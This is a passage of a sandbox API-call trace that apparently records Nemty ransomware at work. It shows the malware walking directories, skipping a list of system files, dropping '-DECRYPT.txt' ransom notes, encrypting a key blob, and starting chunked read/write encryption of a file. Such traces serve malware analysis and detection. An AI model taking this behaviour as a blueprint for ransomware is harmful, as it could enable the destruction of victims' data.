(hObject=0x1ec) returned 1 [0133.977] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0133.977] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0133.977] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0133.977] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\*.*", lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x37fe530, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x37fe530, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3423a70 [0133.977] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0133.977] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x37fe530, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x37fe530, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0133.978] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0133.978] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0133.978] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22fbc446, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="css", cAlternateFileName="")) returned 1 [0133.978] lstrcmpiW (lpString1="css", lpString2=".") returned 1 [0133.978] lstrcmpiW (lpString1="css", lpString2="..") returned 1 [0133.978] lstrcmpiW (lpString1="css", lpString2="...") returned 1 [0133.978] lstrcmpiW (lpString1="css", lpString2="windows") returned -1 [0133.978] lstrcmpiW (lpString1="css", lpString2="$RECYCLE.BIN") returned 1 [0133.978] lstrcmpiW (lpString1="css", lpString2="rsa") returned -1 [0133.978] lstrcmpiW (lpString1="css", lpString2="NTDETECT.COM") returned -1 [0133.978] lstrcmpiW (lpString1="css", lpString2="ntldr") returned -1 [0133.978] lstrcmpiW (lpString1="css", lpString2="MSDOS.SYS") returned -1 [0133.978] lstrcmpiW (lpString1="css", lpString2="IO.SYS") returned -1 [0133.978] lstrcmpiW (lpString1="css", lpString2="boot.ini") returned 1 [0133.978] lstrcmpiW (lpString1="css", lpString2="boot.ini") returned 1 [0133.978] lstrcmpiW (lpString1="css", lpString2="AUTOEXEC.BAT") returned 1 [0133.978] lstrcmpiW (lpString1="css", lpString2="ntuser.dat") returned -1 [0133.978] lstrcmpiW (lpString1="css", lpString2="desktop.ini") returned -1 [0133.978] lstrcmpiW (lpString1="css", lpString2="CONFIG.SYS") returned 1 [0133.978] lstrcmpiW (lpString1="css", lpString2="RECYCLER") returned -1 [0133.978] lstrcmpiW (lpString1="css", lpString2="BOOTSECT.BAK") returned 1 [0133.978] lstrcmpiW (lpString1="css", lpString2="bootmgr") returned 1 [0133.978] lstrcmpiW (lpString1="css", lpString2="programdata") returned -1 [0133.978] lstrcmpiW (lpString1="css", lpString2="appdata") returned 1 [0133.978] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="css", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0133.978] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="css", cchWideChar=3, lpMultiByteStr=0x653ebd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="css", lpUsedDefaultChar=0x0) returned 3 [0133.978] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="css", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0133.978] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="css", cchWideChar=3, lpMultiByteStr=0x653ebd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="css", lpUsedDefaultChar=0x0) returned 3 [0133.978] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0133.978] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0133.978] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0133.978] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0133.978] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0133.978] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0133.979] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0133.979] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0133.979] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0133.979] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0133.979] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0133.979] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63400f0 [0133.979] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0133.979] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63401a8 [0133.979] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0133.979] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\css\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\en-us\\css\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0133.980] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401a8 | out: hHeap=0x4f90000) returned 1 [0133.980] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0133.980] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0133.981] CloseHandle (hObject=0x254) returned 1 [0133.981] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0133.981] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0133.981] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0133.981] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63400f0 [0133.981] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340198 [0133.981] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0133.981] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0133.981] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0133.981] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0133.981] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0133.981] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0133.981] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340240 [0133.981] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0133.981] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63402f8 [0133.981] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0133.981] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\css\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\en-us\\css\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0133.982] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402f8 | out: hHeap=0x4f90000) returned 1 [0133.982] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0133.982] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e840, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e840*=0xef8, lpOverlapped=0x0) returned 1 [0133.983] CloseHandle (hObject=0x254) returned 1 [0133.983] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0133.983] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0133.983] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340198 [0133.983] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\css\\*.*", lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x37fe530, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x37fe530, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423ab0 [0133.983] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0133.983] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x37fe530, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x37fe530, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0133.983] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0133.983] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0133.983] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1172, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="picturePuzzle.css", cAlternateFileName="")) returned 1 [0133.983] lstrcmpiW (lpString1="picturePuzzle.css", lpString2=".") returned 1 [0133.983] lstrcmpiW (lpString1="picturePuzzle.css", lpString2="..") returned 1 [0133.983] lstrcmpiW (lpString1="picturePuzzle.css", lpString2="...") returned 1 [0133.983] lstrcmpiW (lpString1="picturePuzzle.css", lpString2="windows") returned -1 [0133.983] lstrcmpiW (lpString1="picturePuzzle.css", lpString2="$RECYCLE.BIN") returned 1 [0133.984] lstrcmpiW (lpString1="picturePuzzle.css", lpString2="rsa") returned -1 [0133.984] lstrcmpiW (lpString1="picturePuzzle.css", lpString2="NTDETECT.COM") returned 1 [0133.984] lstrcmpiW (lpString1="picturePuzzle.css", lpString2="ntldr") returned 1 [0133.984] lstrcmpiW (lpString1="picturePuzzle.css", lpString2="MSDOS.SYS") returned 1 [0133.984] lstrcmpiW (lpString1="picturePuzzle.css", lpString2="IO.SYS") returned 1 [0133.984] lstrcmpiW (lpString1="picturePuzzle.css", lpString2="boot.ini") returned 1 [0133.984] lstrcmpiW (lpString1="picturePuzzle.css", lpString2="boot.ini") returned 1 [0133.984] lstrcmpiW (lpString1="picturePuzzle.css", lpString2="AUTOEXEC.BAT") returned 1 [0133.984] lstrcmpiW (lpString1="picturePuzzle.css", lpString2="ntuser.dat") returned 1 [0133.984] lstrcmpiW (lpString1="picturePuzzle.css", lpString2="desktop.ini") returned 1 [0133.984] lstrcmpiW (lpString1="picturePuzzle.css", lpString2="CONFIG.SYS") returned 1 [0133.984] lstrcmpiW (lpString1="picturePuzzle.css", lpString2="RECYCLER") returned -1 [0133.984] lstrcmpiW (lpString1="picturePuzzle.css", lpString2="BOOTSECT.BAK") returned 1 [0133.984] lstrcmpiW (lpString1="picturePuzzle.css", lpString2="bootmgr") returned 1 [0133.984] lstrcmpiW (lpString1="picturePuzzle.css", lpString2="programdata") returned -1 [0133.984] lstrcmpiW (lpString1="picturePuzzle.css", lpString2="appdata") returned 1 [0133.984] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0133.984] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="picturePuzzle.css", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0133.984] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0133.984] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="picturePuzzle.css", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="picturePuzzle.css", lpUsedDefaultChar=0x0) returned 17 [0133.984] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0133.984] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0133.984] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="picturePuzzle.css", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0133.984] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0133.984] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="picturePuzzle.css", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="picturePuzzle.css", lpUsedDefaultChar=0x0) returned 17 [0133.984] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0133.984] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0133.984] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0133.984] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0133.984] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="picturePuzzle.css", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0133.984] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0133.984] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="picturePuzzle.css", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="picturePuzzle.css", lpUsedDefaultChar=0x0) returned 17 [0133.984] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0133.984] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0133.985] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="picturePuzzle.css", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0133.985] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0133.985] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="picturePuzzle.css", cchWideChar=17, lpMultiByteStr=0x4f9ed08, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="picturePuzzle.css", lpUsedDefaultChar=0x0) returned 17 [0133.985] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0133.985] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340240 [0133.985] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0133.985] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340308 [0133.985] Sleep (dwMilliseconds=0x5) [0133.986] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x3824690, dwHighDateTime=0x1d561e8)) [0133.986] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x3824690, dwHighDateTime=0x1d561e8)) [0133.986] GetLastError () returned 0xb7 [0133.986] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0133.986] GetLastError () returned 0xb7 [0133.986] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0133.986] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0133.986] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0133.986] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0133.986] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0133.987] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0133.987] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63403d0 [0133.987] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63403d0, pcchString=0x653e5dc | out: pszString="uWVRDxTt5Qh5VWLD5q6CIQ7AtadllIs7c8kmMYPSW/8UrHTcpT1+C2mhZhkg5g1R\r\ndq7uTDTLmpk4Ml42vM4TbVgWszssumVcyuBhEYmAoZ3kO0E/rAGou7OIJbAmeszs\r\nl0SADBWuh1D7PEeOl94qGk+lu7Q+cAYxWG228E3fL7BAIQTzPcmgd3kr0MLpgi8w\r\nt3UTgnTDPWILeJi/L4h+V6uBLVzs3kqUlz4+ESBKqYON6dBI0P1Dd0B8pK2AGqjZ\r\nHbS+feO+SlMZ+pbz1nWuN0Ia24leHBknO1GaaXi8aZVIA8mKz3qSCCpmp62sRst3\r\nRxhLd5eScXahr3aV6eijXw==\r\n", pcchString=0x653e5dc) returned 1 [0133.987] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0133.987] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403d0 | out: hHeap=0x4f90000) returned 1 [0133.987] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0133.987] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0133.987] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63403d0 [0133.987] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0133.987] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\css\\picturePuzzle.css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\en-us\\css\\picturepuzzle.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0133.988] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=18150282790955108) returned 0 [0133.988] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0133.988] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.988] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0133.997] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.997] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0133.997] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.997] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0134.006] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.006] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0134.006] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.007] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0134.016] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.016] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0134.016] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.016] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0134.025] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.026] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0134.026] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.026] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0134.035] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 